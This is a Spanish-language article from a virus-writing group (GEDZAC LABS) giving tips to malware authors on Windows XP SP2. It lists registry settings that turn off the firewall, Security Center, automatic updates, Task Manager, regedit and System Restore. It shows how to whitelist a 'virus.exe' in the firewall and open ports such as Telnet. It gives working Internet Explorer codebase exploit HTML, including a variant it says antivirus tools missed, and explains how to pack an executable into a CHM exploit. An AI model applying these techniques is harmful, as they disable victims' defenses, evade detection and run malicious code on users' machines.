    En este txt se comentaran algunos datos que no ameritan un articulo entero
    pero si merecen ser comentados, aunque varios son bastante conocidos.

    Desabilitar algunas de las caracteristicas de seguridad del Sp2:
    ----------------------------------------------------------------
    El sp2 incluye el llamado Centro de seguridad, que informa sobre el
    antivirus instalado, sobre el firewall de windows, sobre las actualizaciones

    Para desabilitar algunas de sus caracteristicas modificamos estas llaves
    del reg:

    [HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile]
    DisableNotifications = 1   DWORD  Desabilita notificacion de firewall
    EnableFirewall = 0         DWORD  Desabilita firewall
    DoNotAllowExceptions = 0   DWORD  No permitir excepciones

    [HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile]
    DisableNotifications = 1   DWORD  Desabilita notificacion de firewall
    EnableFirewall = 0         DWORD  Desabilita firewall
    DoNotAllowExceptions = 0   DWORD  No permitir excepciones

    [HKLM\Software\Microsoft\Security Center]
    AntiVirusDisableNotify = 1  DWORD  Desabilita notificacion de antivirus
    FirewallDisableNotify = 1   DWORD  Desabilita notificacion de firewall
    UpdatesDisableNotify = 1    DWORD  Desabilita notificacion de actualizaciones
    AntiVirusOverride = 1      DWORD   Invalidar antivirus de security center
    FirewallOverride = 1      DWORD    Invalidar firewall de security center

    Desabilita servicio del Security Center
    [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wscsvc]
    Start=dword:00000004

    Desabilita el servicio que controla las actualizaciones automaticas
    [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuauserv]
    Start=dword:00000004

    No actualizar automaticamente
    [HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\WindowsUpdate\AU]
    NoAutoUpdate=dword:00000001
    AUOptions=dword:00000001

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\LocalUser\Software\Microsoft\Windows\CurrentVersion\Policies\WindowsUpdate]
    DisableWindowsUpdateAccess=dword:00000001  No notifica de nuevas actualizaciones

    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update]
    AUState=dword:00000007
    AUOptions=dword:00000001

    AUOptions:
    Más o menos esto es lo que entendi: define la accion a tomar cuando
    se detecta una nueva actualización, siendo:
    1 - Desabilitar
    2 - Notificar para la descarga y notificar para la instalación
    3 - auto-descarga y notifica para la instalación
    4 - auto-descarga y programa la instalacion para el día y hora
        señalados en las llaves ScheduledInstallDay(día de la semana
        en que se instala, valor de 1 a 7, 0 para todos los días)
        y ScheduledInstallTime(hora a la que se instala, valor de 0 a 23

    AUState:
    0
    1 - Espera a que el usuario inicie el asistente de actualizacion
    2 - Deteccion pendiente, comprueba cada cierto tiempo se hay nuevas
        actualizaciones
    3 - Descarga pendiente, ha encontrado nuevas actualizaciones pero
        al notificar la descarga al user, este la ha denegado
    4 - Esta descargando la actualizacion ahora
    5 - Se descargo la actualizacion y se esta esperando que el usuario
        inicie la instalacion o el día y hora programada para instalar
    6 - Instalacion completa de la actualizacion
    7 - Desabilitado
    8 - Reinicio pendiente, se necesita reiniciar para continuar y se esta
        esperando que user permita reinicio o reinicie manualmente más tarde

    'Bloquea la descarga del sp2 por el windows update, hasta el 12 de abril
    'del 2005
    [HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate]
    DoNotAllowXPSP2=dword:00000001

    'Servicio que controla entre otras cosas el firewall de win xp
    [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\SharedAccess]
    Start=dword:00000004

    Servicio SharedAccess segun la page de microsoft:
    --------------------------------------------------
    Este servicio del sistema ofrece los servicios de resolución de nombres y
    direcciones para todos los equipos de red doméstica o pequeña oficina.
    Cuando está habilitado, el equipo se convierte en una "puerta de enlace de
    Internet" en la red, lo que permite que otros equipos cliente compartan una
    conexión a Internet; por ejemplo, una conexión de acceso telefónico a redes
    o de banda ancha. Este servicio ofrece los servicios DHCP y DNS básicos,
    pero funcionará con los servicios DHCP o DNS completos de Windows.
    Cuando actúa como puerta de enlace para el resto de equipos de la red,
    ofrece los servicios DHCP y DNS a la red privada de la interfaz de red
    interna. No ofrece estos servicios a la interfaz dirigida al exterior.

    Osea que si matamos este servicio no solo nos estamos matando el firewall
    sino otras cosas, que puede el user necesitar, por eso mejor usamos
    las otras llaves detalladas más arriba para matar el firewall

    *Para autorizar una aplicacion en el Firewall de winXP, tenemos que
    añadirla en las llaves:

    [HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\AuthorizedApplications\List]

    [HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List]

    Más o menos asi ser la llave que hay que añadir:

    ProgramPath:IP:Enabled|Disabled:ApplicationName

    Donde:

    ProgramPath: es la ruta del .exe pudiendo ser c:\windows\virus.exe
    o %windir%\virus.exe  (se pueden usar variables como %windir%)

    IP: segun lo que entiendo indica las direcciones ip a las cuales se
    va a permitir que el programa conecte

    Enabled|Disabled: Poner Enabled para colocar el programa como permitido
    en la lista del firewall y disabled para colocarlo en la lista como
    bloqueado

    ApplicationName: Un nombre cualquiera que aparecera en la lista del
    firewall

    Entonces un ejemplo seria:

    [HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\AuthorizedApplications\List]
    %windir%\system32\virus.exe = %windir%\system32\virus.exe:*:enabled:VirusGedzac

    El tipo de dato es REG_SZ ( valor de cadena )

    Tambien se pueden añadir puertos permitidos en las llaves:

    [HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\GloballyOpenPorts\List]

    [HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List]

    Ejem:

    [HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List]
    2703:TCP = "2703:TCP:*:enabled:SMS"
    138:UDP = "138:UDP:*:Enabled:@xpsp2res.dll,-22004"
    445:TCP = "445:TCP:*:Enabled:@xpsp2res.dll,-22005"
    23:TCP =  "23:TCP:*:Enabled:Telnet"

    El tipo de dato es REG_SZ ( valor de cadena )

    Sintaxis: Port#:TCP|UDP:IP:Enabled|Disabled:PortName

    Primero va el N° del puerto, luego si es TCP o UDP, luego * para permitir
    conectar con cualquier ip, luego ENABLED/DISABLED (Enabled para permitir
    el puerto en el firewall) y luego un nombre cualquiera para el puerto.

    Recomendado este .doc sobre el firewall de winXP, aunque en ingles
    pero me parece que ta bueno:

    http://www.gosecurity.ch/download/anleitungen/Deploying_Windows_Firewall_Settings_for_Microsoft_Windows_XP_with_Service_Pack_2.doc

    Desabilitar el Regedit y el Visor de Procesos:
    -----------------------------------------------

    *Para desabilitar el regedit ponemos esta llave del reg:

    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools

    a un valor REG_DWORD  1 (Probado en win98 y winXP)

    *Para desabilitar el Visor de Procesos ponemos esta llave del reg:

    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr

    a un valor REG_DWORD  1 (Probado en winXP, no funciona en win98)

    *Para desabilitar Restaurar Sistema ponemos esta llave del reg:

    HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore\DisableSR

    a un valor REG_DWORD  1

    Exploit CodeBase:
    ------------------
    El exploit codebase es ampliamente conocido y bastante viejo:

    Si colocamos esto en un htm, conseguimos que se ejecute el calc.exe
    osea nos sirve para ejecutar archivos locales.
    El htm debe ejecutarse en la zona local, no desde internet

    <object classid="clsid:11111111-1111-1111-1111-111111111111" codebase="c:\windows\calc.exe"></object>

    Ahora si ponemos eso nos van a saltar la mayoria de avs

    Lo que me parecio interesante fue el metodo que uso el virus Wode, el
    del msn

    Se podria decir que era una variante del codebase y cuando lo mande a
    virustotal ningun av lo detectaba, al día de escribir este articulo
    solo lo reporta nod32

    era este:

    <object id="RUNIT" WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="test.exe"></object>

    que hace lo mismo que el codebase original

    Más info sobre el exploit-codebase: http://www.cyruxnet.org/ie_exec.htm

    El wode usaba una combinacion del exploit chm con el codebase:
    Incluia dentro del .chm un .exe, y un .html con el exploit codebase
    con lo que conseguia afectar a win98 y winXP, ya que el exploit
    más conocido me parece, en que se usa el chm involucra al objeto
    "ADODB.Stream" no presente en win98.

    Como el exploit chm nos permite ejecutar un .htm con permisos
    locales "Zona Mi PC", aunque provenga de internet, pos ambos
    exploits se complementan bien.

    Si usamos el HTML Help Workshop de microsoft para crear el chm
    deberemos modificar el archivo .hhp en la seccion FILES:
    de modo que quede asi:

    [FILES]
    x.htm
    load.exe

    ya que no encuentro la opcion para agregar un .exe al chm desde el programa
    le modificamos eso para que sepa que debe incluir el .exe dentro del
    .chm ademas del .htm  (el .exe debe estar en el dir del .hhp)

    Más info del exploit-chm Mitosis2 Articulo: Exploit chm

    (C) Mitosis 3 - GEDZAC LABS